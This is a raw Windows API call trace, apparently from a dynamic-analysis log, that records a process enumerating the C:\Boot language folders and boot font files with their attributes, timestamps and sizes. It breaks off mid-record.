FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0100.898] FindClose (in: hFindFile=0x3e50840 | out: hFindFile=0x3e50840) returned 1 [0100.903] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.903] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0100.904] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.904] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50500 [0100.905] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.905] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.905] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0100.905] FindClose (in: hFindFile=0x3e50500 | out: hFindFile=0x3e50500) returned 1 [0100.905] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.905] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0100.905] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.906] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50200 [0100.906] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.906] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.906] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0100.906] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0100.906] FindClose (in: hFindFile=0x3e50200 | out: hFindFile=0x3e50200) returned 1 [0100.906] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.906] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0100.907] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.907] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e501c0 [0100.907] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.908] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.908] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0100.908] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0100.908] FindClose (in: hFindFile=0x3e501c0 | out: hFindFile=0x3e501c0) returned 1 [0100.908] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.908] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0100.908] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.908] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50400 [0100.909] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.909] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.909] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0100.910] FindClose (in: hFindFile=0x3e50400 | out: hFindFile=0x3e50400) returned 1 [0100.910] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.910] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0100.910] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.910] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50300 [0100.910] FindNextFileW (in: hFindFile=0x3e50300, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.910] FindNextFileW (in: hFindFile=0x3e50300, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.910] FindNextFileW (in: hFindFile=0x3e50300, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0100.910] FindClose (in: hFindFile=0x3e50300 | out: hFindFile=0x3e50300) returned 1 [0100.910] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.911] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0100.911] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.911] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50600 [0100.911] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.912] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.912] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0100.912] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0100.912] FindClose (in: hFindFile=0x3e50600 | out: hFindFile=0x3e50600) returned 1 [0100.912] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.912] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0100.912] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.912] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50100 [0100.916] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.916] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0100.916] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0100.916] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0100.917] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0100.917] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0100.917] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, 